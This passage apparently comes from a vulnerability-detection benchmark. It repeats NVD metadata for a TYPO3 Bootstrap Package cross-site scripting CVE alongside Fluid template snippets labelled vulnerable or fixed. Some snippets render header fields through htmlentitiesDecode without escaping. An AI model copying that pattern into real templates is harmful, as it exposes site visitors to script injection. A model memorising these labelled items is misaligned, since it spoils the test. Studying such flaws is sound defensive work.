"cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<html xmlns:f=\"http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers\" data-namespace-typo3-fluid=\"true\">\n<f:link.typolink parameter=\"{item.data.link}\" additionalAttributes=\"{draggable:'false'}\">\n <div class=\"valign\" {f:if(condition: item.data.text_color,then:'style=\"color: {item.data.text_color};\"')}>\n <div class=\"vcontainer\">\n <div class=\"carousel-text-inner\">", " <h{item.data.header_layout} class=\"carousel-header awesome{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.header}</f:format.htmlspecialchars></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-subheader awesome{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.subheader}</f:format.htmlspecialchars></h{item.data.subheader_layout}>", " </f:if>\n </div>\n </div>\n </div>\n</f:link.typolink>\n</html>" ]
[ 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<div class=\"valign\" {f:if(condition: item.data.text_color,then:'style=\"color: {item.data.text_color};\"')}>\n <div class=\"vcontainer\">\n <div class=\"carousel-text-inner\">\n <f:if condition=\"{item.data.nav_title}\">\n <div>{item.data.nav_title}</div>\n </f:if>", " <h{item.data.header_layout} class=\"carousel-item-header{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.header}</f:format.htmlentitiesDecode></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-item-subheader{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.subheader}</f:format.htmlentitiesDecode></h{item.data.subheader_layout}>", " </f:if>\n <f:if condition=\"{item.data.bodytext}\">\n <div class=\"carousel-item-bodytext\">\n <f:format.html>{item.data.bodytext}</f:format.html>\n </div>\n </f:if>\n </div>\n </div>\n</div>" ]
[ 1, 0, 1, 0, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<div class=\"valign\" {f:if(condition: item.data.text_color,then:'style=\"color: {item.data.text_color};\"')}>\n <div class=\"vcontainer\">\n <div class=\"carousel-text-inner\">\n <f:if condition=\"{item.data.nav_title}\">\n <div>{item.data.nav_title}</div>\n </f:if>", " <h{item.data.header_layout} class=\"carousel-item-header{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.header}</f:format.htmlspecialchars></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-item-subheader{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlspecialchars doubleEncode=\"false\">{item.data.subheader}</f:format.htmlspecialchars></h{item.data.subheader_layout}>", " </f:if>\n <f:if condition=\"{item.data.bodytext}\">\n <div class=\"carousel-item-bodytext\">\n <f:format.html>{item.data.bodytext}</f:format.html>\n </div>\n </f:if>\n </div>\n </div>\n</div>" ]
[ 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [10, 9, 10, 8, 27], "buggy_code_start_loc": [7, 6, 7, 5, 6], "filenames": ["Resources/Private/Partials/ContentElements/Carousel/Item/CallToAction.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Header.html", "Resources/Private/Partials/ContentElements/Carousel/Item/Text.html", "Resources/Private/Partials/ContentElements/Carousel/Item/TextAndImage.html", "Resources/Private/Partials/ContentElements/Header/SubHeader.html"], "fixing_code_end_loc": [10, 9, 10, 8, 27], "fixing_code_start_loc": [7, 6, 7, 5, 6], "message": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "17B07B8B-EBB9-4966-B743-365B32FC31E2", "versionEndExcluding": "7.1.2", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "E99F1CE2-72CE-40CE-8FBD-678346EE0C1D", "versionEndExcluding": "8.0.8", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "8.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "C887BFE4-14C9-478A-9889-AD83FA34DCDB", "versionEndExcluding": "9.0.4", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "85B9F508-0633-40AC-BA40-0A48B7B0DB81", "versionEndExcluding": "9.1.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "9.1.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "6AF391E6-82CF-410E-AA25-C83A833DAFF2", "versionEndExcluding": "10.0.10", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "10.0.0", "vulnerable": true}, {"criteria": "cpe:2.3:a:typo3:typo3:*:*:*:*:*:*:*:*", "matchCriteriaId": "FFD19514-12D5-4CE5-A26A-3DC13432E692", "versionEndExcluding": "11.0.3", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": "11.0.0", "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Bootstrap Package is a theme for TYPO3. It has been discovered that rendering content in the website frontend is vulnerable to cross-site scripting. A valid backend user account is needed to exploit this vulnerability. Users of the extension, who have overwritten the affected templates with custom code must manually apply the security fix. Update to version 7.1.2, 8.0.8, 9.1.4, 10.0.10 or 11.0.3 of the Bootstrap Package that fix the problem described. Updated version are available from the TYPO3 extension manager, Packagist and at https://extensions.typo3.org/extension/download/bootstrap_package/."}, {"lang": "es", "value": "Bootstrap Package es un tema para TYPO3.&#xa0;Se ha descubierto que la renderizaci\u00f3n de contenido en la interfaz del sitio web es vulnerable a ataques de tipo cross-site scripting.&#xa0;Es necesario una cuenta de usuario de backend v\u00e1lida para explotar esta vulnerabilidad.&#xa0;Los usuarios de la extensi\u00f3n que hayan sobrescrito las plantillas afectadas con c\u00f3digo personalizado deben aplicar manualmente la correcci\u00f3n de seguridad.&#xa0;Actualiza a versiones 7.1.2, 8.0.8, 9.1.4, 10.0.10 o 11.0.3 del paquete Bootstrap que corrige el problema descrito.&#xa0;La versi\u00f3n actualizada est\u00e1 disponible en el administrador de extensiones TYPO3, Packagist y en https://extensions.typo3.org/extension/download/bootstrap_package/"}], "evaluatorComment": null, "id": "CVE-2021-21365", "lastModified": "2021-05-07T01:47:11.107", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "LOW", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.1"}, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-04-27T20:15:08.713", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Third Party Advisory"], "url": "https://github.com/benjaminkott/bootstrap_package/security/advisories/GHSA-p48w-vf3c-rqjx"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Patch", "Vendor Advisory"], "url": "https://typo3.org/security/advisory/typo3-ext-sa-2021-007"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-79"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/benjaminkott/bootstrap_package/commit/de3a568fc311d6712d9339643e51e8627c80530b"}, "type": "CWE-79"}
134
Determine whether the {function_name} code is vulnerable or not.
[ "<html xmlns:f=\"http://typo3.org/ns/TYPO3/CMS/Fluid/ViewHelpers\" data-namespace-typo3-fluid=\"true\">\n<f:link.typolink parameter=\"{item.data.link}\" additionalAttributes=\"{draggable:'false'}\">\n <div class=\"valign\">\n <div class=\"carousel-text vcontainer\" {f:if(condition: item.data.text_color,then: 'style=\"color: {item.data.text_color};\"')}>", " <h{item.data.header_layout} class=\"carousel-header{f:if(condition: item.data.header_class, then: ' {item.data.header_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.header}</f:format.htmlentitiesDecode></h{item.data.header_layout}>", " <f:if condition=\"{item.data.subheader}\">", " <h{item.data.subheader_layout} class=\"carousel-subheader{f:if(condition: item.data.subheader_class, then: ' {item.data.subheader_class}')}{f:if(condition: item.data.header_position, then: ' text-{item.data.header_position}')}\"><f:format.htmlentitiesDecode>{item.data.subheader}</f:format.htmlentitiesDecode></h{item.data.subheader_layout}>", " </f:if>\n <f:format.html>{item.data.bodytext}</f:format.html>\n </div>\n <div class=\"carousel-image vcontainer\">\n <f:if condition=\"{item.images.0}\">\n <f:variable 